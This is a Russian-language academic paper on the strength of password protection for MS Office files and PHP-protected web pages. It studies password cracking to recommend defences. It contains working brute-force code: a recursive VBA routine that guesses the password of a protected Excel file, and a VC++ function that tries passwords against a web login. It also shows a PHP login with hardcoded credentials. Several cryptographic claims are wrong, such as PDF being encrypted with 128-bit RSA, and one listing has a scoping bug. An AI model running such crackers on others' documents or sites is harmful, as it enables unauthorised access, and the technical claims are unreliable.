Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
164
Добавлен:
02.05.2014
Размер:
87.04 Кб
Скачать

Постановка задачи

Оценка и усовершенствование программных средств парольной защиты электронного документооборота.

Программные средства парольной защиты офисных документов

Подавляющее большинство электронных документов готовится с помощью продуктов Microsoft Office. При этом приложения Word, Excel, Access, PowerPoint, предназначенные в основном для обработки файлов на локальном компьютере имеют возможность защиты этих файлов. С точки зрения обеспечения защиты от НСД к документам наиболее важным является пароль на открытие документа. Предполагается, что пароль вводится пользователем с клавиатуры или передается приложению с помощью специального программного интерфейса. В качестве пароля может использоваться произвольное сочетание букв, цифр, пробелов, символов. Длина пароля ограничивается 15 символами. Различаются прописные и строчные буквы. В паролях, могут использоваться следующие наборы символов (алфавит): латинские буквы, буквы других языков применяемых на компьютере (украинского, русского и т.п.), 10 арабских цифр, а также 33 спецсимвола.

При установке пароля на открытие документ Microsoft Office шифруется по симметричному алгоритму RCA. В документе хранится зашифрованный хеш пароля, используемый при проверке. Единственный способ нахождения пароля – перебор [3,4]. Количество попыток (K), необходимое для полного перебора всех возможных вариантов пароля можно вычислить по формуле:

(1),

где N — число символов, которые возможно использовать в пароле, L — предельная длина пароля.

Как следует из формулы (1), величина K может быть достаточно большой, что свидетельствует о потенциально высокой стойкости парольной защиты приложений Microsoft Office. Однако экспортные ограничения США на криптоалгоритмы значительно снижают криптостойкость этой защиты. Ключ, используемый при шифровании, имеет длину всего 40 бит, что явно не достаточно в современных условиях.

Более мощной парольной защитой обладают офисные документы в формате PDF, просмотр которых, как правило, производиться с использование приложения Acrobat Reader. В этом случае максимальная длина пароля на открытие файла составляет 32 символа, а длина ключа в алгоритме шифрования RSA может составлять 128 бит. Однако Acrobat Reader можно используется только для просмотра документов, что серьезно сужает область его применения.

Следует отметить, что для сжатия документов довольно часто применяются программы архиваторы Zip, Rar или Arj в которых тоже заложена возможность использования парольной защиты.

Отметим, что рассмотренная парольная защита реализована за счет программных средств, встроенных в офисные приложения. При этом механизм ее функционирования не описан в сопровождающей документации и практически не подлежит модификации конечным пользователем.

Программные средства парольной защиты офисных документов, опубликованных в сети www

В современных системах электронного документооборота достаточно часто возникает необходимость публикации документов, содержащих конфиденциальную информацию в сети WWW. Как правило, доступ к таким Web-документам также ограничивается за счет использования паролей, которые вводятся пользователем с клавиатуры, или программными средствами.

Собственно парольная защита реализуется Web-сервером, или с помощью специального программного обеспечения, размещенного на Web-сервере. Передача имени пользователя и пароля от программы клиента к Web-серверу осуществляется, как правило, по защищенному протоколу, например SSL. В листинге 1 показано элементарную типовую парольную защиту Web-документа (doc.php) с помощью скрипта Php:

Листинг 1.

<html>

<?php

$a=0;

if (isset($name)){

if ($name=='avtor') {

$a=1;

}

}

if (isset($password)){

if ($password=='test') {

if ($a==1) {

$a=2;

}

}

}

if ($a==2) {

echo('Текст документа');

}

else {

echo('<form action="doc.php">');

echo(' <input type="text" name="name">');

echo('<input type="password" name="password" value="">');

echo('</form>');

}

?>

</html>

При вводе правильного имени (avtor) и пароля (test) пользователь получает доступ к документу, иначе ему предлагается HTML-форма для ввода имени и пароля. Особенностью показанной программы является применение функции isset() которая проверяет существование переменных ($name и $password), в которые записываются значение имени и пароля, введенных пользователем. Как показывает практика, на подобной основе сформирована парольная защита почтовых служб сайтов www.rambler.ru и www.ukr.net, широко применяемых в системе электронного документооборота. При этом, имена и пароли пользователей хранятся в соответствующей базе данных.

В некоторых случаях парольная защита реагирует на количество неправильных вводов комбинаций имя/пароль. Реакция чаще всего заключается в задержке времени представления новой попытки ввода. Однако, такая реакция увеличивает опасность атаки с целью отказа в обслуживании защищенной Web-страницы. Поэтому, изменять время предоставления новой попытки ввода на наш взгляд не целесообразно.

Набор символов, который можно применять в имени пользователя и пароле, ограничен особенностями сети WWW. Длина имени и длина пароля обычно ограничена 12-32 символами. Предположив достаточный уровень безопасности Web-сервера, взломать парольную защиту можно только методом перебора комбинаций имя/пароль. Отметим, что, как и для локальных офисных приложений, количество таких комбинаций может быть достаточно большим, в первую очередь за счет большой длины пароля и использования в нем символов из различных наборов. Однако такой путь повышения устойчивости парольной защиты не всегда приемлем, вследствие трудностей при запоминании сложного и длинного пароля пользователем.

Распространенные средства и методики взлома парольной защиты офисных документов

Во многих случаях можно предположить, что попытка НСД к офисным документам осуществляется злоумышленником в условиях реализации на предприятии грамотной политики безопасности. Это предопределяет невозможность использования злоумышленником средств технического съема пароля при вводе, модификациимеханизма парольной защиты, а также модификации учетных данных на защищаемом объекте. Эта предпосылка позволяет ограничить анализ набора средств и методик взлома парольной защиты только теми, которые предназначены для подбора пароля. К доступным программным пакетам, реализующим подбора пароля можно отнести Accent Office, Advanced Office 97, Advanced ZIP, а также Advanced ARJ. Первые два предназначены для взлома парольной защиты файлов Word и Exel, третий и четвертый позволяют взломать пароли Zip и ARJ файлов.

В настоящее время хорошо изучены такие методы подбора как: прямой перебор, перебор по маске и перебор по словарю.

Прямой перебор. Суть метода заключается в переборе всех возможные комбинации символов, используемых в качестве пароля. Время (T) необходимое для гарантированного взлома пароля можно рассчитать так:

(2),

где К количество вариантов возможных комбинаций символов в пароле, рассчитанное по формуле 1,t– время необходимое для проверки одного варианта.

Очевидно, что Tнапрямую зависит от количества символов, которые можно применять в пароле, максимальной длины пароля, мощности компьютера, алгоритма перебора вариантов, а также эффективности программной реализации. При этом, результаты тестирования [6] показывают, что на компьютере с процессором Celeron 416 МГц и объемом оперативной памяти 128 Мб программа Advanced Office 97 позволяет гарантированно взломать пароль, состоящий из 6 символов за 90 дней. Необходимо отметить, что результаты исследований проведенных автором показывают, что квалифицированный пользователь, как правило, использует пароль длиной от 6 до 16 символов. Этот результат был получен на основании опроса примерно 200 студентов старших курсов экономических специальностей.

Таким образом метод прямого перебора может потребовать колоссальных затрат машинного времени и практически не приемлем для взлома пароля с помощью одного компьютера. Однако эффективность подобной атаки можно повысить, если задействовать для ее проведения не один, а несколько десятков компьютеров.

Разумеется, в процессе перебора может случиться так, что искомый пароль встретится быстро, и все возможные комбинации перебирать не придется.

Перебор по маске. Применяется в том случае, если известны определенные параметры пароля, например длина или некоторые символы. Смысл использования заключается в том, что программе приходится перебирать меньшее количество возможных комбинаций. В соответствии с (1, 2) даже зная только количество символов в пароле и используемую раскладку клавиатуры можно значительно уменьшить время подбора пароля. Отметим, что эти характеристики зафиксировать довольно легко.

Перебор по словарю. Метод базируется на том, что довольно часто для простоты запоминания пользователи используют в качестве пароля обычные слова. По мнению [4,5] список слов (словарь), которые пользователи вводят в качестве пароля, не превышает ста тысяч, что значительно меньше количества возможных вариантов пароля в случае применения прямого перебора. При этом, для каждого слова из словаря парольный взломщик может использовать одно или несколько правил. В соответствии с этими правилами слово изменяется и порождает дополнительное множество опробуемых паролей. Правила заключаются в изменении регистра символов пароля, в применении обратного порядка следования символов в пароле, замене букв на близкие по начертанию цифры. Слабыми сторонами данного метода являются трудности при составлении достаточно полного словаря паролей, а также принципиальная невозможность достижения стопроцентной вероятности взлома пароля. Кроме того, разработаны рекомендации [5,6], которые позволяют рядовому пользователю составить пароль, который с малой вероятностью присутствует в словаре.

Отметим, что автору не удалось найти достаточно подробного описания программной реализации парольных взломщиков. Без знания этой реализации достаточно трудно объективно оценить возможности взлома парольной защиты.

Программа взлома пароля файлов Microsoft Office

В качестве языка программирования нами был выбран VBA. Выбор основан на тесной интеграции VBA со всеми приложениями Microsoft Office, а также наличием в этом языке методов позволяющих открывать файлы Excel, Word, Access, а также PowerPoint, защищенные паролем. Рассмотрим программу для взлома пароля файла Excel методом полного перебора символов, которые можно использовать в пароле. Программа для взлома была реализована в файле Excel break.xls. Предположим, что паролем защищен файл test.xls, расположенный в корневом каталоге диска Е. В файле break.xls создана пользовательская форма с кнопкой, выбор которой запускает процедуру CommandButton1_Click(), инициализирующую подбор пароля. Для удобства символы, применяемые в пароле, записаны в столбце "А" первой страницы файла break.xls. Полный код программы с подробными комментариями показан в листинге 2:

Листинг 2.

'Объявляем массив для хранения символов

Dim ch(1 To 47) As String

'Объявляем переменную для хранения ожидаемой длины пароля

Dim lenthP As Integer

'Объявляем переменную (флаг) для проверки открытия файла

Dim doc As Variant

'Процедура инициализирующая подбор пароля

Private Sub CommandButton1_Click()

'Оператор подавления ошибки

On Error Resume Next

'Определяем максимальную длину пароля. В качестве примера 2

lenthP = 2

'Пока флаг равен "no" файл не открыт, т.е. пароль не найден

doc = "no"

'Из первого листа рабочей книги переписываем в массив символы,

'которые могут применяется в пароле

For i = 1 To 47

ch(i) = ActiveWorkbook.Sheets("1").Cells(i, 1)

Next I

'Открываем файл, предположив отсутствие пароля

doc = Application.Workbooks.Open("E:\test.xls")

'Если флаг сигнализирует об открытии файла, то выводим соответствующее

'окно сообщения и закрываем программу

If doc <> "no" Then

'Показываем окно сообщения

MsgBox "Пароля нет"

End

End If

'Вызов функции подбора пароля

FuncPass " ", lenthP

End Sub

'Объявление функции открытия файла.

'Параметр mypass пароль на открытие файла

Sub OpenFile(mypass As String)

On Error Resume Next

'Стандартный метод открытия файла.

doc = Application.Workbooks.Open("E:\test.xls", , , , Trim(mypass))

If doc <> "no" Then

MsgBox mypass

End

End If

End Sub

'Объявление функции подбора пароля

'Параметры mypass текущий пароль, depth максимальная длина пароля

Sub FuncPass(mypass As String, depth As Integer)

'Вызов функции открытия файла

OpenFile mypass

For k = 1 To 47

If depth > 0 Then

FuncPass mypass + ch(k), depth - 1

End If

Next k

End Sub

Особенностью показанной программы является применение оператора подавления ошибки времени выполнения, которая генерируется средой VBA при попытке открытия файла с не правильным паролем. Сигналом правильного пароля является запись в переменную doc дескриптора открываемого файла. Отметим, что пароль формируется путем последовательного добавления к нему новых символов, до тех пор, пока его длина меньше максимальной. Для этого используется рекурсивная функция формирования пароля [7].

Модификация показанной программы для взлома паролей файлов Word, Access, или PowerPoint будет заключаться в добавлении соответствующих библиотек для работы с этими приложениями и применении надлежащих методов открытия файлов.

Проведенные эксперименты показали, что с помощью описанной программы на компьютере с процессором Pentium-3 600 МГц и объемом оперативной памяти 384 МБ, работающего под управлением операционной системы Windows 2000, один вариант пароля подбирается за время 0,01-0,015 с.

Малое быстродействие предложенной программы по сравнению с [6] можно пояснить недостаточно эффективным алгоритмом формирования вариантов пароля и низкой эффективностью языка VBA. При этом с точки зрения аппаратного обеспечения, скорость взлома пароля зависит в основном от тактовой частоты процессора.

В качестве мероприятий направленных на усиление парольной защиты можно предложить:

  • Добавление в приложениях Microsoft Office опции отключения программного интерфейса открытия файла.

  • Использование в пароле символов расположенных в алфавите как можно дальше друг от друга.

Программный взлом парольной защиты Web-декументов

Относительно локальных файлов программа взлома парольной защиты Web-документов должна учитывать следующие особенности:

  1. Специфику передачи информации в сети.

  2. Специфику открытия файла, не с помощью файловой системы операционной системы, а с помощью Web-сервера.

  3. Необходимость определения сигнала о правильном пароле.

Учет первых двух особенностей удобно реализовать за счет использования библиотеки MFC для работы с Internet  afxinet. Это предопределило разработку программы на языке программирования языка VC++. Кроме этого в самой программе предусмотрена обработка исключительной ситуации, которая возникает при невозможности установить соединение с заданным сервером.

Учесть третью особенность возможно только на основании смыслового анализа содержимого Web-документа при вводе правильного или не правильного паролей. Отметим, что при не правильном пароле или в случае отсутствия запрашиваемого Web-документа клиенту (программе взломщику) как правило, все равно приходит ответ. Содержимое ответа будет зависеть от настроек Web-сервера и программы парольной защиты. Поэтому определить правильность пароля можно только на основании наличия или отсутствия определенной информации в содержимом открываемого Web-документа. В листинге 3 показан код функции OpenFile для открытия файла doc.php, парольная защита которого представлена в листинге 1:

Листинг 3.

/* Параметр р – это строка http запроса к вызываемому файлу. Строка формируется путем добавления имени и пароля пользователя к адресу вызываемого файла.*/

OpenFile(CString p)

{

// Открываем Internet сессию

CInternetSession ses;

try {

// Открываем файл

CHttpFile *hF = (CHttpFile*) ses.OpenURL(р);

// Выделяем буфер для считывания информации из файла

hF->SetReadBufferSize(4096);

// Объявляем переменные для считывания информации из файла

CString str, buf;

//Построчно считываем информацию из файла и сохраняем ее в строке str

while (hF->ReadString(buf)){

str+=buf;

}

// Закрываем файл и сессию

hF->Close(); ses.Close();

// Ищем в строке str информацию, сигнализирующую об открытии файла

if (str.Find("Текст документа")>-1) {

// Если файл открыт

// Вывод пароля на екран

AfxMessageBox(p);

// Выход из функции с результатом "пароль найден"

return 1;

} else {

// Выход из функции с результатом "пароль не найден"

return 0;

}

}

// Обработка исключения связанного недоступностью Web-сервера

catch(CInternetException *pE) {

// Закрываем файл и сессию

hF->Close(); ses.Close();

// Вывод на экран описания исключения

pE->ReportError();

// Завершение работы программы

exit(-1);

}

}

Функция OpenFile должна вызываться из функции подбора паролей, подобно тому как это показано в листинге 2. Отметим, что сигналом о получении доступа к защищенной информации, а значит и о подборе пароля является успешный поиск в полученном документе строки "Текст документа".

Выводы

С точки зрения противодействия средствам подбора пароля увеличение стойкости парольной защиты можно достигнуть за счет:

  • Отключения программного интерфейса ввода пароля. Следует применять в тех случаях, когда документы не предназначены для автоматизированного использования. Такая доработка может существенно увеличить стойкость парольной защиты файлов Microsoft Office.

  • Применения в пароле символов, расположенных на большом расстоянии в алфавите. Эта рекомендация базируется на том, что типовые алгоритмы подбора пароля перебирают символы алфавита по очереди.

  • Разработка такой схемы парольной защиты Web-документа, которая бы существенно усложнила процедуру автоматического подбора пароля.

  • Одним из перспективных путей исследования является разработка программных комплексов для увеличения ключа шифрования в файлах Microsoft Office.

Соседние файлы в папке Лекции по защите информации4